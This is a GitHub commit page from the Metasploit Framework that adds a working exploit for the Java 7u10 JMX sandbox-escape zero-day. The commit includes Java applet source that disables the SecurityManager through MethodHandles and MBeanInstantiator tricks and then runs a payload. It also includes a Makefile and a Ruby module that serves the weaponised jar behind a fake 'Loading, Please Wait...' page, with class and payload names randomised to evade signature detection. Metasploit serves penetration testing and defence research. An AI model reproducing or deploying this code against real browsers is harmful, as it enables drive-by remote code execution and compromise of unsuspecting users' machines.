Skip to content

Commit 876d889

Browse files
author
jvazquez-r7
committed
added exploit for j7u10 0day
1 parent d0478eb commit 876d889

File tree

6 files changed

+232
-0
lines changed

6 files changed

+232
-0
lines changed

‎data/exploits/j7u10_jmx/B.class

575 Bytes
Binary file not shown.

‎data/exploits/j7u10_jmx/Exploit.class

3.65 KB
Binary file not shown.

‎external/source/exploits/j7u10_jmx/B.java

Lines changed: 19 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,19 @@
1+
import java.security.AccessController;
2+
import java.security.PrivilegedExceptionAction;
3+
4+
public class B
5+
implements PrivilegedExceptionAction
6+
{
7+
public B()
8+
{
9+
try
10+
{
11+
AccessController.doPrivileged(this); } catch (Exception e) {
12+
}
13+
}
14+
15+
public Object run() {
16+
System.setSecurityManager(null);
17+
return new Object();
18+
}
19+
}

‎external/source/exploits/j7u10_jmx/Exploit.java

Lines changed: 73 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,73 @@
1+
import java.io.ByteArrayOutputStream;
2+
import java.io.IOException;
3+
import java.io.InputStream;
4+
import java.io.ObjectInputStream;
5+
import java.io.ObjectOutputStream;
6+
import metasploit.Payload;
7+
import java.lang.Runtime;
8+
import java.applet.Applet;
9+
import com.sun.jmx.mbeanserver.JmxMBeanServer;
10+
import com.sun.jmx.mbeanserver.JmxMBeanServerBuilder;
11+
import com.sun.jmx.mbeanserver.MBeanInstantiator;
12+
import java.lang.invoke.MethodHandle;
13+
import java.lang.invoke.MethodHandles;
14+
import java.lang.invoke.MethodType;
15+
import java.lang.reflect.Method;
16+
17+
18+
public class Exploit extends Applet
19+
{
20+
21+
public Exploit()
22+
{
23+
}
24+
25+
26+
public void init()
27+
{
28+
try
29+
{
30+
ByteArrayOutputStream bos = new ByteArrayOutputStream();
31+
byte[] buffer = new byte[8192];
32+
int length;
33+
34+
// read in the class file from the jar
35+
InputStream is = getClass().getResourceAsStream("B.class");
36+
// and write it out to the byte array stream
37+
while( ( length = is.read( buffer ) ) > 0 )
38+
bos.write( buffer, 0, length );
39+
// convert it to a simple byte array
40+
buffer = bos.toByteArray();
41+
42+
JmxMBeanServerBuilder localJmxMBeanServerBuilder = new JmxMBeanServerBuilder();
43+
JmxMBeanServer localJmxMBeanServer = (JmxMBeanServer)localJmxMBeanServerBuilder.newMBeanServer("", null, null);
44+
MBeanInstantiator localMBeanInstantiator = localJmxMBeanServer.getMBeanInstantiator();
45+
ClassLoader a = null;
46+
Class localClass1 = localMBeanInstantiator.findClass("sun.org.mozilla.javascript.internal.Context", a);
47+
Class localClass2 = localMBeanInstantiator.findClass("sun.org.mozilla.javascript.internal.GeneratedClassLoader", a);
48+
MethodHandles.Lookup localLookup = MethodHandles.publicLookup();
49+
MethodType localMethodType1 = MethodType.methodType(MethodHandle.class, Class.class, new Class[] { MethodType.class });
50+
MethodHandle localMethodHandle1 = localLookup.findVirtual(MethodHandles.Lookup.class, "findConstructor", localMethodType1);
51+
MethodType localMethodType2 = MethodType.methodType(Void.TYPE);
52+
MethodHandle localMethodHandle2 = (MethodHandle)localMethodHandle1.invokeWithArguments(new Object[] { localLookup, localClass1, localMethodType2 });
53+
Object localObject1 = localMethodHandle2.invokeWithArguments(new Object[0]);
54+
MethodType localMethodType3 = MethodType.methodType(MethodHandle.class, Class.class, new Class[] { String.class, MethodType.class });
55+
MethodHandle localMethodHandle3 = localLookup.findVirtual(MethodHandles.Lookup.class, "findVirtual", localMethodType3);
56+
MethodType localMethodType4 = MethodType.methodType(localClass2, ClassLoader.class);
57+
MethodHandle localMethodHandle4 = (MethodHandle)localMethodHandle3.invokeWithArguments(new Object[] { localLookup, localClass1, "createClassLoader", localMethodType4 });
58+
Object localObject2 = localMethodHandle4.invokeWithArguments(new Object[] { localObject1, null });
59+
MethodType localMethodType5 = MethodType.methodType(Class.class, String.class, new Class[] { byte[].class });
60+
MethodHandle localMethodHandle5 = (MethodHandle)localMethodHandle3.invokeWithArguments(new Object[] { localLookup, localClass2,"defineClass", localMethodType5 });
61+
Class localClass3 = (Class)localMethodHandle5.invokeWithArguments(new Object[] { localObject2, null, buffer });
62+
localClass3.newInstance();
63+
64+
Payload.main(null);
65+
//Runtime.getRuntime().exec("calc.exe");
66+
}
67+
catch(Throwable ex)
68+
{
69+
//exception.printStackTrace();
70+
}
71+
}
72+
73+
}

‎external/source/exploits/j7u10_jmx/Makefile

Lines changed: 18 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,18 @@
1+
# rt.jar must be in the classpath!
2+
3+
CLASSES = \
4+
Exploit.java \
5+
B.java
6+
7+
.SUFFIXES: .java .class
8+
.java.class:
9+
javac -source 1.2 -target 1.2 -cp "../../../../data/java" $*.java
10+
11+
all: $(CLASSES:.java=.class)
12+
13+
install:
14+
mv Exploit.class ../../../../data/exploits/j7u10_jmx/
15+
mv B.class ../../../../data/exploits/j7u10_jmx/
16+
17+
clean:
18+
rm -rf *.class

‎modules/exploits/multi/browser/java_jre17_jmxbean.rb

Lines changed: 122 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,122 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
require 'rex'
10+
11+
class Metasploit3 < Msf::Exploit::Remote
12+
Rank = ExcellentRanking
13+
14+
include Msf::Exploit::Remote::HttpServer::HTML
15+
include Msf::Exploit::EXE
16+
17+
include Msf::Exploit::Remote::BrowserAutopwn
18+
autopwn_info({ :javascript => false })
19+
20+
def initialize( info = {} )
21+
22+
super( update_info( info,
23+
'Name' => 'Java Applet JMX Remote Code Execution',
24+
'Description' => %q{
25+
This module abuses the JMX classes from a Java Applet to run arbitrary Java
26+
code outside of the sandbox as exploited in the wild in January of 2013. The
27+
vulnerability affects Java version 7u10 and earlier.
28+
},
29+
'License' => MSF_LICENSE,
30+
'Author' => [ 'egypt', 'sinn3r', 'juan vazquez' ],
31+
'References' => [
32+
[ 'URL', 'http://malware.dontneedcoffee.com/2013/01/0-day-17u10-spotted-in-while-disable.html' ],
33+
[ 'URL', 'http://labs.alienvault.com/labs/index.php/2013/new-year-new-java-zeroday/' ]
34+
],
35+
'Platform' => [ 'java', 'win', 'osx', 'linux' ],
36+
'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
37+
'Targets' =>
38+
[
39+
[ 'Generic (Java Payload)',
40+
{
41+
'Platform' => ['java'],
42+
'Arch' => ARCH_JAVA,
43+
}
44+
],
45+
[ 'Windows x86 (Native Payload)',
46+
{
47+
'Platform' => 'win',
48+
'Arch' => ARCH_X86,
49+
}
50+
],
51+
[ 'Mac OS X x86 (Native Payload)',
52+
{
53+
'Platform' => 'osx',
54+
'Arch' => ARCH_X86,
55+
}
56+
],
57+
[ 'Linux x86 (Native Payload)',
58+
{
59+
'Platform' => 'linux',
60+
'Arch' => ARCH_X86,
61+
}
62+
],
63+
],
64+
'DefaultTarget' => 0,
65+
'DisclosureDate' => 'Jan 10 2013'
66+
))
67+
end
68+
69+
70+
def setup
71+
path = File.join(Msf::Config.install_root, "data", "exploits", "j7u10_jmx", "Exploit.class")
72+
@exploit_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }
73+
path = File.join(Msf::Config.install_root, "data", "exploits", "j7u10_jmx", "B.class")
74+
@loader_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }
75+
76+
@exploit_class_name = rand_text_alpha("Exploit".length)
77+
@exploit_class.gsub!("Exploit", @exploit_class_name)
78+
super
79+
end
80+
81+
def on_request_uri(cli, request)
82+
print_status("handling request for #{request.uri}")
83+
84+
case request.uri
85+
when /\.jar$/i
86+
jar = payload.encoded_jar
87+
jar.add_file("#{@exploit_class_name}.class", @exploit_class)
88+
jar.add_file("B.class", @loader_class)
89+
metasploit_str = rand_text_alpha("metasploit".length)
90+
payload_str = rand_text_alpha("payload".length)
91+
jar.entries.each { |entry|
92+
entry.name.gsub!("metasploit", metasploit_str)
93+
entry.name.gsub!("Payload", payload_str)
94+
entry.data = entry.data.gsub("metasploit", metasploit_str)
95+
entry.data = entry.data.gsub("Payload", payload_str)
96+
}
97+
jar.build_manifest
98+
99+
send_response(cli, jar, { 'Content-Type' => "application/octet-stream" })
100+
when /\/$/
101+
payload = regenerate_payload(cli)
102+
if not payload
103+
print_error("Failed to generate the payload.")
104+
send_not_found(cli)
105+
return
106+
end
107+
send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' })
108+
else
109+
send_redirect(cli, get_resource() + '/', '')
110+
end
111+
112+
end
113+
114+
def generate_html
115+
html = %Q|<html><head><title>Loading, Please Wait...</title></head>|
116+
html += %Q|<body><center><p>Loading, Please Wait...</p></center>|
117+
html += %Q|<applet archive="#{rand_text_alpha(8)}.jar" code="#{@exploit_class_name}.class" width="1" height="1">|
118+
html += %Q|</applet></body></html>|
119+
return html
120+
end
121+
122+
end

0 commit comments

Comments
 (0)